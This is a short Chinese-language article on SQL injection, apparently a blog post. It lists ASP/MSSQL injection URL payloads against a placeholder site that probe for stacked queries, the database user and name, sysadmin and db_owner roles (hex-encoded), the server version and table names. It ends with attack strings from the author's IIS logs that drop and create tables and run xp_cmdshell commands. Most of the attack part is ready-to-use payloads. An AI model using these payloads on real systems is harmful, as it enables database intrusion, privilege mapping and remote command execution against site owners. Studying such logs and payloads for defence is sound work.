SQL注入攻击

SQL注入攻击是黑客对数据库进行攻击的常用手段之一。SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问 防止SQL注入攻击没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉。但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况,需要构造巧妙的SQL语句,从而成功获取想要的数据。

利用SQL注入方式攻击网站,如果找到了合适的注入点或者说是漏洞,黑客们就可以轻松的进行他们想做的事情,比如获取管理员账号密码、进入系统后台破坏等等。常规的SQL注入可以在请求地址上注入SQL语句、UNICODE、ASCII等等。

SQL注入之asp注入常用语句
是否支持多句查询

http://www.XXX.com /AdvanceSearch/Search_Detail.asp @a int--

是否支持子查询

http://www.XXX.com /AdvanceSearch/Search_Detail.asp and (Select count(1) from [sysobjects])>=0

返回用户名

http://www.XXX.com /AdvanceSearch/Search_Detail.asp And user+char(124)=0

当前用户是否为 sysadmin 固定服务器角色的成员。

http://www.XXX.com /AdvanceSearch/Search_Detail.asp And Cast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))+char(124)=1
PS:0x730079007300610064006D0069006E00 = sysadmin

当前用户是否为 db_owner 固定数据库角色的成员

http://www.XXX.com /AdvanceSearch/Search_Detail.asp And Cast(IS_MEMBER(0x640062005F006F0077006E0065007200) as varchar(1))+char(124)=1
0x640062005F006F0077006E0065007200 = db_owner

返回数据库名

http://www.XXX.com /AdvanceSearch/Search_Detail.asp And db_name()+char(124)=0

操作系统和SQLserver版本

http://www.XXX.com /AdvanceSearch/Search_Detail.asp And @@version = 1

本地服务器名称

http://www.XXX.com /AdvanceSearch/Search_Detail.asp And @@SERVERNAME = 1
http://www.XXX.com /AdvanceSearch/Search_Detail.asp  And (Select Top 1 cast(name as varchar(8000)) from(Select Top 1 id,name from sysobjects Where xtype=char(85) order by id) T order by id desc)>0 --第一个表名

今天查看单位的IIS日志记录,就发现有存在攻击的可疑行为,如下红色部分。

tableName=CGML&pkiib=89363;DROP TABLE D99_CMD;CREATE TABLE D99_CMD([Data][varchar](1000),ID int NOT NULL IDENTITY (1,1)) insert D99_CMD exec master.dbo.xp_cmdshell 'iisreset'

tableName=CGML&pkiib=89363;DROP TABLE D99_CMD;CREATE TABLE D99_CMD([Data][varchar](1000),ID int NOT NULL IDENTITY (1,1)) insert D99_CMD exec master.dbo.xp_cmdshell 'ping

文章目录
|